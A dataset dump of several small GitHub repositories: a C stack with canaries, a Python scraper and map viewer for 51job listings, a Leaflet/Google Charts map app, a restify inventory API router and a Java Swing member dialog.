branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/main | <repo_name>alexzhelyapov1/Stack<file_sep>/main.cpp
#include <stdlib.h>
#include <stdio.h>
#include "stack.h"
#include "tests.h"
int main () {
DP(printf ("-------------------------------\n");)
DP(printf ("Good morning!!!\nProgramm is running;)\n");)
DP(printf ("-------------------------------\n");)
struct Stack *stack = (struct Stack *) calloc (1, sizeof (struct Stack));
StackCtor (stack, sizeof (int), LOG_ERRORS);
printf ("Cannary = %llu", stack -> canary_value);
Fill_Ordered_Numbers (stack);
return 0;
} <file_sep>/tests.cpp
#include "tests.h"
int Fill_Ordered_Numbers (struct Stack *stack) {
int n = 10;
for (int i = 0; i < n; i++) {
int result = StackPush (stack, &i);
if (result != OK) {
printf ("Error = %d\n", result);
}
}
int *x = (int *) calloc (1, sizeof (int));
for (int i = 0; i < n + 2; i++) {
int result = StackTop (stack, x);
if (result != OK) {
printf ("\nErrorTop = %d", result);
}
else {
printf ("%d ", *x);
}
}
free (x);
return OK;
}<file_sep>/tests.h
#ifndef TESTS_H_INCLUDED
#define TESTS_H_INCLUDED
#include "stack.h"
#include <stdio.h>
#include <stdlib.h>
int Fill_Ordered_Numbers (struct Stack *stack);
#endif <file_sep>/stack.h
#ifndef STACK_H_INCLUDED
#define STACK_H_INCLUDED
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#define LOG_LEVEL_LOG_ERRORS
// #define CANARY_VALUE 17446131000709551615
// #define CANARY_VALUE 12345654321
//#define DEBUG_PRINT // костыль, почему не работает через makeFile?
#ifdef LOG_LEVEL_LOG_ALL
#define DP(code) code
#define DPR(code) {fprintf(stack->flogger, "!!!ERROR!!! "); code}
#else
#define DP(code)
#ifdef LOG_LEVEL_LOG_ERRORS
#define DPR(code) {fprintf(stack->flogger, "!!!ERROR!!! "); code}
#else
#define DPR(code)
#endif
#endif
/*!
data_with_canary - pointer to memory with Canary
data - pointer to the first element
capacity - number of element fit (помещается)
sizeof_one_Canary - size of one Canary
size - number of current element
size_element - size of one element in bytes
security
*/
struct Stack {
void *data_with_canary;
void *data;
size_t capacity;
size_t size;
uint64_t canary_value = 12321;
size_t sizeof_one_canary = sizeof (canary_value);
size_t size_element;
size_t log_level;
uint64_t bad_constant = 0xDEDBAD;
FILE *flogger;
};
enum Log_levels {
RELEASE = 0,
LOG_ERRORS, //DPR
LOG_ALL //DP
};
enum Errors {
OK = 0,
ERROR_ALLOC_MEMORY_IN_STACK_CTOR,
ERROR_RESIZE_REALLOC,
ERROR_OPEN_LOGGER_FILE,
ERROR_TOP_EMPTY_STACK,
};
enum Validation_Errors {
ERROR_OVERSIZE = 0b00001,
};
/// Header of function for Stack
int StackCtor (struct Stack *stack, size_t size_element, size_t log_level);
int StackPush (struct Stack *stack, void *element);
int StackTop (struct Stack *stack, void *element);
int StackPop (struct Stack *stack);
void StackFree (struct Stack *stack); /// Free all dinamic memory
#endif<file_sep>/stack.cpp
#include "Stack.h"
#include <cstring>
// #define MODERN_STACK do{void *data = stack -> data; \ //как это сделать?
// void *data_with_canary = stack -> data_with_canary; \
// size_t sizeof_one_canary = stack -> sizeof_one_canary; \
// size_t capacity = stack -> capacity; \
// size_t size = stack -> size; \
// size_t size_element = stack -> size_element; \
// }while(false)
enum Resize_constants {
UP = 0,
DOWN,
NEW
};
int StackResize (struct Stack *stack, int mode);
int StackRecopyData (struct Stack *stack, void *old_data, size_t old_capacity);
int StackCtor (struct Stack *stack, size_t size_element, size_t log_level) {
uint64_t bad_constant = stack -> bad_constant;
char name[] = "file_logger.txt";
if ((stack -> flogger = fopen (name, "w")) == NULL) {
DPR(printf ("---ERROR--- Can't open logger file!\n");)
return ERROR_OPEN_LOGGER_FILE;
}
DPR(fprintf (stack -> flogger, "ERROR out is working\n");)
size_t sizeof_one_canary = stack -> sizeof_one_canary;
size_t capacity = stack -> capacity;
stack -> data_with_canary = calloc (sizeof_one_canary * 2, sizeof (char));
* ((uint64_t *) stack -> data_with_canary) = 12321; ///////asfjbadbfouabdsoufbasdfjadsfpiad fasdf
* (uint64_t *) (&((char *) stack -> data_with_canary)[sizeof_one_canary + capacity]) = bad_constant;
if (stack -> data_with_canary == NULL) {
DPR(fprintf (stack -> flogger, "stack -> data_with_canary == NULL (= %d)\n", stack -> data_with_canary);)
return ERROR_ALLOC_MEMORY_IN_STACK_CTOR;
}
stack -> data = stack -> data_with_canary + sizeof_one_canary;
stack -> size = 0;
stack -> capacity = 0;
stack -> size_element = size_element;
stack -> log_level = log_level;
DP(fprintf (stack -> flogger, "+++++ StackCtor passed with OK! +++++\n");)
return OK;
}
int StackResize (struct Stack *stack, int mode) {
DP(fprintf(stack -> flogger, "It's Resize, oldCapacity = %d\n", stack -> capacity);)
/// Calculate new capacity in depend of arg "mode"
size_t old_capacity = stack -> capacity;
if (stack -> capacity == 0) {
mode = NEW;
}
switch (mode) {
case NEW:
stack -> capacity = 4;
break;
case UP:
stack -> capacity *= 2;
break;
case DOWN:
stack -> capacity /= 2;
}
/// Realloc memory
void *old_data = stack -> data_with_canary; //занулит ли реаллок старую память при неудачной попытке?
stack -> data_with_canary = realloc (stack -> data_with_canary, (stack -> sizeof_one_canary * 2 + stack -> capacity * stack -> size_element) * sizeof (char));
if (stack -> data_with_canary == NULL) { // Если ошибка выделения
stack -> data_with_canary = old_data;
DPR(fprintf (stack -> flogger, "stack -> data_with_canary == NULL (= %d)\n", stack -> data_with_canary);)
return ERROR_RESIZE_REALLOC;
}
else { //Если все норм (recopy обазательна, т.к. канарейку надо передвинуть)
StackRecopyData (stack, old_data, old_capacity);
DP(fprintf (stack -> flogger, "It's Resize, newCapacity = %d\n", stack -> capacity);)
DP(fprintf (stack -> flogger, "+++++ StackResize passed with OK! +++++\n");)
return OK;
}
}
int StackPush (struct Stack *stack, void *element) {
if (!stack) {
StackCtor (stack, sizeof (int), LOG_ERRORS);
}
if (stack -> size == stack -> capacity) {
int result_of_resize = StackResize (stack, UP);
if (result_of_resize != OK) {
DPR(fprintf (stack -> flogger, "It's result_of_resize != NULL (= %d)\n", result_of_resize);)
return result_of_resize;
}
}
memcpy (stack -> data + stack -> size * stack -> size_element, element, stack -> size_element);
stack -> size++;
DP(fprintf (stack -> flogger, "+++++ StackPush passed with OK! +++++\n");) //how to do __FUNCTION__?
return OK;
}
int StackTop (struct Stack *stack, void *element) {
if (stack -> size == 0) {
DPR(fprintf(stack -> flogger, "Trying to top empty stack\n");)
return ERROR_TOP_EMPTY_STACK;
}
memcpy (element, stack -> data + (stack -> size - 1) * stack -> size_element, stack -> size_element);
int result_stack_pop = StackPop (stack);
if (result_stack_pop != OK) {
DPR(fprintf (stack -> flogger, "result_stack_pop != NULL (= %d)\n", result_stack_pop);)
return result_stack_pop;
}
DP(fprintf (stack -> flogger, "+++++ StackTop passed with OK! +++++\n");)
return OK;
}
int StackPop (struct Stack *stack) {
void *data = stack -> data; \
void *data_with_canary = stack -> data_with_canary; \
size_t sizeof_one_canary = stack -> sizeof_one_canary; \
size_t capacity = stack -> capacity; \
size_t size = stack -> size; \
size_t size_element = stack -> size_element; \
stack -> size--;
if (size == capacity / 4) {
int result_of_resize = StackResize (stack, DOWN);
if (result_of_resize != OK) {
DPR(fprintf (stack -> flogger, "result_of_resize != NULL (= %d)\n", result_of_resize);)
return ERROR_RESIZE_REALLOC;
}
}
DP(fprintf (stack -> flogger, "+++++ StackPop passed with OK! +++++\n");)
return OK;
}
void StackFree (struct Stack *stack) {
stack -> capacity = 0;
stack -> size = 0;
fclose (stack -> flogger);
free (stack -> data_with_canary);
free (stack -> data);
free (stack);
DP(fprintf (stack -> flogger, "+++++ StackFree passed with OK! +++++\n");)
}
int ValidateStack (struct Stack *stack) {
int all_errors = 0;
if (stack -> capacity < stack -> size) {
all_errors += ERROR_OVERSIZE;
}
}
int StackRecopyData (struct Stack *stack, void *old_data, size_t old_capacity) {
if (stack && old_data) {
memcpy (stack -> data_with_canary, old_data, stack -> sizeof_one_canary + old_capacity * stack -> size_element);
memcpy (stack -> data_with_canary + stack -> sizeof_one_canary + stack -> capacity, old_data + stack -> sizeof_one_canary + old_capacity,
stack -> sizeof_one_canary);
stack -> data = stack -> data_with_canary + stack -> sizeof_one_canary;
}
return OK;
} | de04273435ec4b42e1ee0109b9bf6bb05e3eee06 | [
"C",
"C++"
] | 5 | C++ | alexzhelyapov1/Stack | 82db2a10d1f7d154406b14c0bf92eaccbf56ac89 | 5003e9fe21c5a2a8e5a14da02db07dc18a570a04 |
refs/heads/main | <repo_name>Lucas-Lensi/lensi-socialNetwork-nuxt<file_sep>/README.md
# lensi-socialNetwork-nuxt | b74580fc1bde5932a808a2b06b0d0f8633a65564 | [
"Markdown"
] | 1 | Markdown | Lucas-Lensi/lensi-socialNetwork-nuxt | 0473cda65015fa946ca90cb821c6bf3118183b84 | 620e03d9ee867afa011af803e91dea19ea67c025 |
refs/heads/master | <file_sep># -*- coding: UTF-8 -*-
from multiprocessing.pool import Pool
import requests
import json
import sqldb
from bs4 import BeautifulSoup
import re
from functools import partial
import time
# 获取每页的职位 dict
def get_job_list(para, pageno):
para['pageno'] = pageno
r = requests.post('http://m.51job.com/ajax/search/joblist.ajax.php', params=para);
r.encoding = 'utf-8'
return json.loads(r.text)['data']
# 获取详情
def get_job_commont(jobid):
r = requests.get('http://m.51job.com/search/jobdetail.php', params={'jobid': jobid})
html = r.text.encode(r.encoding).decode('utf-8')
soup = BeautifulSoup(html, 'html.parser')
commont = soup.find('article').text.strip() or ""
return commont
# 获取经纬度
def get_job_point(jobid):
r = requests.get('http://search.51job.com/jobsearch/bmap/map.php', params={'jobid': jobid})
html = r.text
patter = re.compile('<script.*g_company.*lat:"([\d|\.]*)",lng:"([\d|\.]*)".*</script>', re.S)
co_str = re.findall(patter, html)
lat = float(co_str[0][0] or 0)
lng = float(co_str[0][1] or 0)
# print( {'lat':lat,'lng':lng})
return {'lat': lat, 'lng': lng}
# 爬取某一页的所有职位
def one_page(i, para):
# 已存在的职位的id
job_id = [str(job.id) for job in sqldb.get_job_list()]
job_list = get_job_list(para, i)
add_list = list(filter(lambda o: o['jobid'] not in job_id, job_list))
no = 0
for item in add_list:
point = get_job_point(item['jobid'])
new_job = sqldb.job(
id=item['jobid'],
name=item['cjobname'],
salaryname=item['jobsalaryname'],
lng=point['lng'],
lat=point['lat'],
comment=get_job_commont(item['jobid']),
coid=item['coid'],
coname=item['cocname'],
)
sqldb.add_job(new_job)
print(str(i) + '页 ' + str(no))
no += 1
if __name__ == '__main__':
paradata = {
"jobarea": "080200",
"keyword": ".net",
"saltype": "05,06,07",
"issuedate": 1,
"keywordtype": 2,
}
page_with_para = partial(one_page, para=paradata)
pool = Pool()
pool.map(page_with_para, [i for i in range(15)])
<file_sep>from flask import Flask, request, render_template
import sqldb
from sqldb import job
import json
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('index.html', job_list=sqldb.JOBS)
@app.route('/getpoint', methods=['GET'])
def get_map_point():
list = []
for job in sqldb.JOBS:
list.append({"id": job.id, "lng": job.lng, "lat": job.lat})
return json.dumps({"data": list})
@app.route('/getjob', methods=['GET'])
def get_job_json():
id = request.args.get("id")
model = sqldb.get_job_model(id)
m = {"id": model.id,
"name": model.name,
"coid": model.coid,
"coname": model.coname,
"salaryname": model.salaryname,
"lng": model.lng,
"lat": model.lat,
"comment": model.comment,
"createdate": str(model.createdate)
}
return json.dumps(m)
if __name__ == '__main__':
app.run(port=8000)
<file_sep>python第一个练手项目
爬取51job的职位信息,并在地图上展示
<file_sep># -*- coding: UTF-8 -*-
# 导入:
from sqlalchemy import Column, String, create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.types import DateTime, INTEGER, Float
# 创建对象的基类:
Base = declarative_base()
# 定义User对象:
class job(Base):
# 表的名字:
__tablename__ = 'job'
# 表的结构:
id = Column(INTEGER, primary_key=True)
name = Column(String(40))
salaryname = Column(String(20))
lng = Column(Float(10))
lat = Column(Float(10))
comment = Column(String(2000))
createdate = Column(DateTime)
coid = Column(INTEGER)
coname = Column(String(40))
# 初始化数据库连接:
engine = create_engine('mysql+mysqlconnector://root:123456@localhost:3306/51job')
# 创建DBSession类型:
DBSession = sessionmaker(bind=engine)
# 获取所有职位
def get_job_list():
session = DBSession()
list = session.query(job)
session.close()
return list
# 根据jobid获取职位
def get_job_model(id):
session = DBSession()
model = session.query(job).filter(job.id == id).one()
session.close()
return model
# 插入
def add_job(job):
try:
session = DBSession()
session.add(job)
session.commit()
session.close()
except:
return
JOBS = get_job_list()
| 2eafc628a44fb1e3c6b13a69c1cf27bb536c5826 | [
"Markdown",
"Python"
] | 4 | Python | wangx036/51job | afaf42c0ebc91fb5f8665155ad3d28dfb6e20bc2 | fe9b8b0bb3555957c5b4fddf87a07313eecc2add |
refs/heads/master | <repo_name>wisnuaryadipa/datvizs2itb2019<file_sep>/scripts/scripts.js
var LeafIcon = L.Icon.extend({
options: {
iconSize: [40, 40],
}
});
var assaultRifle = new LeafIcon({iconUrl: 'icon/assault-rifle.png'}),
bankIcon = new LeafIcon({iconUrl: 'icon/bank.png'}),
bombIcon = new LeafIcon({iconUrl: 'icon/bomb.png'});
var markersLayer = new L.LayerGroup();
var arr2 = [];
var map = L.map('map',{
center: [0.7893, 113.9213],
zoom: 4
});
L.tileLayer('http://{s}.tile.osm.org/{z}/{x}/{y}.png', {
attribution: '© <a href="http://osm.org/copyright">OpenStreetMap</a> contributors'
}).addTo(map);
//Timeline
google.charts.load("current", {packages:["timeline"]});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
$.getJSON( "timeline.json", function(data) {
var item = data.data;
table = ["Team", "qwerty",{ type: 'string', id: 'style', role: 'style' }, {type: 'date', label: 'Season Start Date'}, {type: 'date', label: 'Season End Date'}];
item.splice(0,0,table);
var container = document.getElementById('example5.1');
var chart = new google.visualization.Timeline(container);
var dataTable = new google.visualization.arrayToDataTable(item);
var options = {
//timeline: { colorByRowLabel: true },
tooltip:{trigger:'none'}
};
chart.draw(dataTable, options);
//console.log(item);
});
$.getJSON( "timeline.json", function(data) {
var item = data.data;
table = ["Team", "qwerty",{ type: 'string', id: 'style', role: 'style' }, {type: 'date', label: 'Season Start Date'}, {type: 'date', label: 'Season End Date'}];
item.splice(0,0,table);
var container = document.getElementById('example5.2');
var chart = new google.visualization.Timeline(container);
var dataTable = new google.visualization.arrayToDataTable(item);
var options = {
//timeline: { colorByRowLabel: true },
tooltip:{trigger:'none'}
};
chart.draw(dataTable, options);
//console.log(item);
});
}
// BarChart
$.get('./id.json', function(data){
var json = data.data;
string = json;
var behaviourSlider = document.getElementById('behaviour');
var startSlide = 1;
var endSlide = 94;
noUiSlider.create(behaviourSlider, {
start: [startSlide, endSlide],
step: 1,
behaviour: 'drag',
connect: true,
format: wNumb({
decimals: 0
}),
range: {
'min': 1,
'max': 94
}
});
$('#startDate').val(string[startSlide]);
$('#endDate').val(string[endSlide]);
var splitStartDate = string[startSlide].split("Q");
var splitEndDate = string[endSlide].split("Q");
$('.str-startDate').html(splitStartDate[0] + ' Quarter ' + splitStartDate[1]);
$('.str-endDate').html(splitEndDate[0] + ' Quarter ' + splitEndDate[1]);
$.getJSON( "datav20.json", function(data) {
var tahun_awal = string[startSlide].substring(0,4)
var tahun_akhir = string[endSlide].substring(0,4);
var table = ['kelompok','jumlah aksi'];
var dict = {};
var arr2 = [];
for (var i in data){
if(i<=tahun_akhir && i>=tahun_awal)
for(var j in data[i]) {
for(var k in data[i][j].data) {
item = data[i][j].data[k].group;
if(item!='Unknown'){
dict[item] = (dict[item] + 1) || 1;
arr = [];
arr.push(data[i][j].data[k].group);
arr.push(data[i][j].data[k].space);
arr.push(data[i][j].data[k].color);
arr.push(data[i][j].data[k].start_date);
arr.push(data[i][j].data[k].end_date);
arr2.push(arr);
marker = L.marker([data[i][j].data[k].lat, data[i][j].data[k].lng]);
markersLayer.addLayer(marker);
}
}
}
}
// Create items array
var items = Object.keys(dict).map(function(key) {
return [key, dict[key]];
});
// Sort the array based on the second element
items.sort(function(first, second) {
return second[1] - first[1];
});
items = items.slice(0, 10);
items.splice(0,0,table);
//console.log(items);
google.charts.load('current', {'packages':['bar']});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data2 = google.visualization.arrayToDataTable(items);
console.log(data2);
var options = {
bars: 'horizontal' // Required for Material Bar Charts.
};
var chart = new google.charts.Bar(document.getElementById('barchart_material'));
chart.draw(data2, google.charts.Bar.convertOptions(options));
google.visualization.events.addListener(chart, 'select', selectHandler);
function selectHandler() {
alert('You selected ');
}
}
markersLayer.addTo(map);
behaviourSlider.noUiSlider.on('change', function(val){
markersLayer.clearLayers();
var arr2 = [];
var val = val;
$('.str-startDate').html(string[val[0]-1].substring(0,4) + " Quarter " + string[val[0]-1].substring(5,6));
$('.str-endDate').html(string[val[1]-1].substring(0,4) + " Quarter " + string[val[1]-1].substring(5,6));
$.getJSON( "datav20.json", function(data) {
var tahun_awal = string[val[0]-1].substring(0,4);
var tahun_akhir = string[val[1]-1].substring(0,4);
var table = ['kelompok','jumlah aksi'];
var dict = {};
for (var i in data){
if(i<=tahun_akhir && i>=tahun_awal)
for(var j in data[i]) {
for(var k in data[i][j].data) {
item = data[i][j].data[k].group;
if(item!='Unknown'){
dict[item] = (dict[item] + 1) || 1;
arr = [];
arr.push(data[i][j].data[k].group);
arr.push(data[i][j].data[k].space);
arr.push(data[i][j].data[k].color);
arr.push(data[i][j].data[k].start_date);
arr.push(data[i][j].data[k].end_date);
arr2.push(arr);
marker = L.marker([data[i][j].data[k].lat, data[i][j].data[k].lng]);
markersLayer.addLayer(marker);
}
}
}
}
// Create items array
var items = Object.keys(dict).map(function(key) {
return [key, dict[key]];
});
// Sort the array based on the second element
items.sort(function(first, second) {
return second[1] - first[1];
});
items = items.slice(0, 10);
items.splice(0,0,table);
//console.log(items);
google.charts.load('current', {'packages':['bar']});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data2 = google.visualization.arrayToDataTable(items);
console.log(data2);
var options = {
bars: 'horizontal' // Required for Material Bar Charts.
};
var chart = new google.charts.Bar(document.getElementById('barchart_material'));
chart.draw(data2, google.charts.Bar.convertOptions(options));
google.visualization.events.addListener(chart, 'select', selectHandler);
function selectHandler() {
$.get('./id.json', function(data){
var json = data.data;
string = json;
$.getJSON( "datav20.json", function(data) {
var tahun_awal = string[val[0]-1].substring(0,4);
var tahun_akhir = string[val[1]-1].substring(0,4);
var selection = chart.getSelection();
var row = selection[0].row;
var label = data2.getValue(row, 0);
markersLayer.clearLayers();
for (var i in data){
if(i<=tahun_akhir && i>=tahun_awal) {
for(var j in data[i]) {
for(var k in data[i][j].data) {
item = data[i][j].data[k].group;
if(item == label){
console.log(data[i][j].data[k].index);
marker[data[i][j].data[k].index] = L.marker([data[i][j].data[k].lat, data[i][j].data[k].lng], {icon: assaultRifle}).on('click', function(e){
$('#detailModal').modal('show');
$(this).attr('id',data[i][j].data[k].index);
});
markersLayer.addLayer(marker[data[i][j].data[k].index]);
}
}
}
}
}
});
})
}
}
table = ["Team", "qwerty",{ type: 'string', id: 'style', role: 'style' }, {type: 'date', label: 'Season Start Date'}, {type: 'date', label: 'Season End Date'}];
arr2.splice(0,0,table);
var container = document.getElementById('example5.1');
var chart = new google.visualization.Timeline(container);
var dataTable = new google.visualization.arrayToDataTable(arr2);
var options = {
//timeline: { colorByRowLabel: true },
tooltip:{trigger:'none'}
};
chart.draw(dataTable, options);
$('#btn-detail-timeline').on('click', function(e){
console.log(arr2);
table = ["Team", "qwerty",{ type: 'string', id: 'style', role: 'style' }, {type: 'date', label: 'Season Start Date'}, {type: 'date', label: 'Season End Date'}];
arr2.splice(0,0,table);
var container = document.getElementById('example5.2');
var chart = new google.visualization.Timeline(container);
var dataTable = new google.visualization.arrayToDataTable(arr2);
var options = {
//timeline: { colorByRowLabel: true },
tooltip:{trigger:'none'}
};
chart.draw(dataTable, options);
});
});
markersLayer.addTo(map);
});
})
})
$('.leaflet-marker-icon').on('click', function(e) {
id = $(this).attr('id');
alert(id);
}) | f5442b4a37a5679cbb6b35495dc0df34ce45ae67 | [
"JavaScript"
] | 1 | JavaScript | wisnuaryadipa/datvizs2itb2019 | f04fdbaf5f92912cb24a78301db2779b08a00e70 | c036614b3bb5169df266879b3b8487e0cf18f85b |
refs/heads/main | <repo_name>malikbilal1/App<file_sep>/README.md
# App
App Tests
<file_sep>/api/api/tests.py
from django.test import TestCase
from api.calc import adda
class CalcTests(TestCase):
def test_add_numbers(self):
self.assertEqual(adda(4,6), 10) | e7e9d6d90e96d08acd24a1055728c86f160ff1c1 | [
"Markdown",
"Python"
] | 2 | Markdown | malikbilal1/App | 57c0fe0e6c0ab73e76af8137f22575a80c184a3a | b1b1816aa077bd47954940d271912cac0aadf9a6 |
refs/heads/master | <file_sep>var restify = require('restify');
var server = restify.createServer();
server.use(restify.queryParser());
server.use(restify.bodyParser());
server.use(restify.CORS());
var originRouter = require('./src/routers/v1/inventory/storage-router');
originRouter.applyRoutes(server, "v1/inventory/storages");
var storageInventoryRouter = require('./src/routers/v1/inventory/storage-inventory-router');
storageInventoryRouter.applyRoutes(server, "v1/inventory/storages");
var storageInventoryMovementRouter = require('./src/routers/v1/inventory/storage-inventory-movement-router');
storageInventoryMovementRouter.applyRoutes(server, "v1/inventory/storages");
var transferInDocRouter = require('./src/routers/v1/inventory/transfer-in-doc-router');
transferInDocRouter.applyRoutes(server, "v1/inventory/docs/transfer-in");
var transferOutDocRouter = require('./src/routers/v1/inventory/transfer-out-doc-router');
transferOutDocRouter.applyRoutes(server, "v1/inventory/docs/transfer-out");
var inventoryReceiveModuleRouter = require('./src/routers/v1/inventory/inventory-receive-module-router');
inventoryReceiveModuleRouter.applyRoutes(server, "v1/inventory/docs");
var inventoryDocModuleRouter = require('./src/routers/v1/inventory/inventory-doc-module-router');
inventoryDocModuleRouter.applyRoutes(server, "v1/inventory/docs");
var merchandiserDocModuleSpecifyRouter = require('./src/routers/v1/merchandiser/merchandiser-doc-module-specify-router');
merchandiserDocModuleSpecifyRouter.applyRoutes(server, "v1/merchandiser/docs");
var merchandiserDocModuleRouter = require('./src/routers/v1/merchandiser/merchandiser-doc-module-router');
merchandiserDocModuleRouter.applyRoutes(server, "v1/merchandiser/docs");
var masterStoreRouter = require('./src/routers/v1/master/store-router');
masterStoreRouter.applyRoutes(server, "v1/master/stores");
var masterBankRouter = require('./src/routers/v1/master/bank-router');
masterBankRouter.applyRoutes(server, "v1/master/banks");
var masterCardTypeRouter = require('./src/routers/v1/master/card-type-router');
masterCardTypeRouter.applyRoutes(server, "v1/master/cardtypes/");
var salesModuleRouter = require('./src/routers/v1/sales/sales-module-router');
salesModuleRouter.applyRoutes(server, "v1/sales/docs/sales");
var salesRewardTypeRouter = require('./src/routers/v1/sales/reward-type-router');
salesRewardTypeRouter.applyRoutes(server, "v1/sales/rewardtypes");
var salesPromoRouter = require('./src/routers/v1/sales/promo-router');
salesPromoRouter.applyRoutes(server, "v1/sales/docs/promos");
server.listen(process.env.PORT, process.env.IP);
console.log(`server created at ${process.env.IP}:${process.env.PORT}`)<file_sep>var Router = require('restify-router').Router;;
var router = new Router();
var map = require('bateeq-module').inventory.map;
var db = require('../../../db');
var resultFormatter = require("../../../result-formatter");
const apiVersion = '1.0.0';
router.get('/efr-tb-bbt/pending', (request, response, next) => {
db.get().then(db => {
var Manager = map.get("efr-tb-bbt");
var manager = new Manager(db, {
username: 'router'
});
var query = request.query;
manager.readPendingSPK(query)
.then(docs => {
var result = resultFormatter.ok(apiVersion, 200, docs);
response.send(200, result);
})
.catch(e => {
var error = resultFormatter.fail(apiVersion, 400, e);
response.send(400, error);
})
})
});
router.get('/efr-tb-bat/pending', (request, response, next) => {
db.get().then(db => {
var Manager = map.get("efr-tb-bat");
var manager = new Manager(db, {
username: 'router'
});
var query = request.query;
manager.readPendingSPK(query)
.then(docs => {
var result = resultFormatter.ok(apiVersion, 200, docs);
response.send(200, result);
})
.catch(e => {
var error = resultFormatter.fail(apiVersion, 400, e);
response.send(400, error);
})
})
});
router.get('/efr-tb-bbt/pending/:id', (request, response, next) => {
db.get().then(db => {
var Manager = map.get("efr-tb-bbt");
var manager = new Manager(db, {
username: 'router'
});
var id = request.params.id;
manager.getPendingSPKById(id)
.then(docs => {
var result = resultFormatter.ok(apiVersion, 200, docs);
response.send(200, result);
})
.catch(e => {
var error = resultFormatter.fail(apiVersion, 400, e);
response.send(400, error);
})
})
});
router.get('/efr-tb-bat/pending/:id', (request, response, next) => {
db.get().then(db => {
var Manager = map.get("efr-tb-bat");
var manager = new Manager(db, {
username: 'router'
});
var id = request.params.id;
manager.getPendingSPKById(id)
.then(docs => {
var result = resultFormatter.ok(apiVersion, 200, docs);
response.send(200, result);
})
.catch(e => {
var error = resultFormatter.fail(apiVersion, 400, e);
response.send(400, error);
})
})
});
module.exports = router; | 18f78255c4807a40ee4f1b4a8e45b29a3d75fbf4 | [
"JavaScript"
] | 2 | JavaScript | lioenel/bateeq-inventory-api | acbea0586b66f6d38370b47ef709ac9b0adc46e7 | d6f90ebb5e8f13399c1073923a3f18d0807df0c4 |
refs/heads/main | <file_sep>user=student
password=<PASSWORD>
url=jdbc:oracle:thin:@localhost:1521:xe<file_sep>package member.view;
import java.awt.BorderLayout;
import java.awt.FlowLayout;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JPanel;
import javax.swing.border.EmptyBorder;
import com.jgoodies.forms.layout.FormLayout;
import com.jgoodies.forms.layout.ColumnSpec;
import com.jgoodies.forms.layout.RowSpec;
import member.controller.MemberController;
import member.model.dao.MemberDao;
import member.model.vo.Member;
import com.jgoodies.forms.layout.FormSpecs;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JTextField;
import java.awt.event.ActionListener;
import java.sql.Date;
import java.util.Calendar;
import java.awt.event.ActionEvent;
public class AddMemberDialog extends JDialog {
private final JPanel contentPanel = new JPanel();
private JTextField MemberIdTextField;
private JTextField passwordTextField;
private JTextField nameTextField;
private JTextField genderTextField;
private JTextField ageTextField;
private JTextField emailTextField;
private JTextField phoneTextField;
private JTextField addressTextField;
private JTextField hobbyTextField;
private MemberDao memberDao;
private MemberSearchApp memberSearchApp;
private MemberController memberController = new MemberController();
//Member member = null;
private Member previousMember = null;
private boolean updateMode = false;
public AddMemberDialog(MemberSearchApp memberSearchApp, MemberDao memberDao, Member thepreviouMember, boolean theUpdateMode) {
this();
this.memberSearchApp = memberSearchApp;
this.memberDao = memberDao;
this.previousMember = thepreviouMember;
this.updateMode = theUpdateMode;
if(updateMode) {
setTitle("Update Member");
populateGui(previousMember);
}
}
public AddMemberDialog(MemberSearchApp memberSearchApp, MemberDao memberDao) {
this(memberSearchApp, memberDao, null, false);
}
private void populateGui(Member previousMember) {
MemberIdTextField.setText(previousMember.getMemberId());
passwordTextField.setText(<PASSWORD>());
nameTextField.setText(previousMember.getMemberName());
genderTextField.setText(previousMember.getGender());
ageTextField.setText(String.valueOf(previousMember.getAge()));
emailTextField.setText(previousMember.getEmail());
phoneTextField.setText(previousMember.getPhone());
addressTextField.setText(previousMember.getAddress());
hobbyTextField.setText(previousMember.getHobby());
}
/**
* Create the dialog.
*/
public AddMemberDialog() {
setTitle("Add Member");
setBounds(100, 100, 450, 345);
getContentPane().setLayout(new BorderLayout());
contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5));
getContentPane().add(contentPanel, BorderLayout.CENTER);
contentPanel.setLayout(new FormLayout(
new ColumnSpec[] { FormSpecs.RELATED_GAP_COLSPEC, FormSpecs.DEFAULT_COLSPEC,
FormSpecs.RELATED_GAP_COLSPEC, ColumnSpec.decode("default:grow"), },
new RowSpec[] { FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC, FormSpecs.RELATED_GAP_ROWSPEC,
FormSpecs.DEFAULT_ROWSPEC, FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC,
FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC, FormSpecs.RELATED_GAP_ROWSPEC,
FormSpecs.DEFAULT_ROWSPEC, FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC,
FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC, FormSpecs.RELATED_GAP_ROWSPEC,
FormSpecs.DEFAULT_ROWSPEC, FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC,
FormSpecs.RELATED_GAP_ROWSPEC, FormSpecs.DEFAULT_ROWSPEC, }));
{
JLabel lblNewLabel = new JLabel("ID");
contentPanel.add(lblNewLabel, "2, 2, left, default");
}
{
MemberIdTextField = new JTextField();
contentPanel.add(MemberIdTextField, "4, 2, fill, default");
MemberIdTextField.setColumns(10);
}
{
JLabel lblNewLabel_1 = new JLabel("Password");
contentPanel.add(lblNewLabel_1, "2, 4, left, default");
}
{
passwordTextField = new JTextField();
contentPanel.add(passwordTextField, "4, 4, fill, default");
passwordTextField.setColumns(10);
}
{
JLabel lblNewLabel_2 = new JLabel("Name");
contentPanel.add(lblNewLabel_2, "2, 6, left, default");
}
{
nameTextField = new JTextField();
contentPanel.add(nameTextField, "4, 6, fill, default");
nameTextField.setColumns(10);
}
{
JLabel lblNewLabel_3 = new JLabel("Gender");
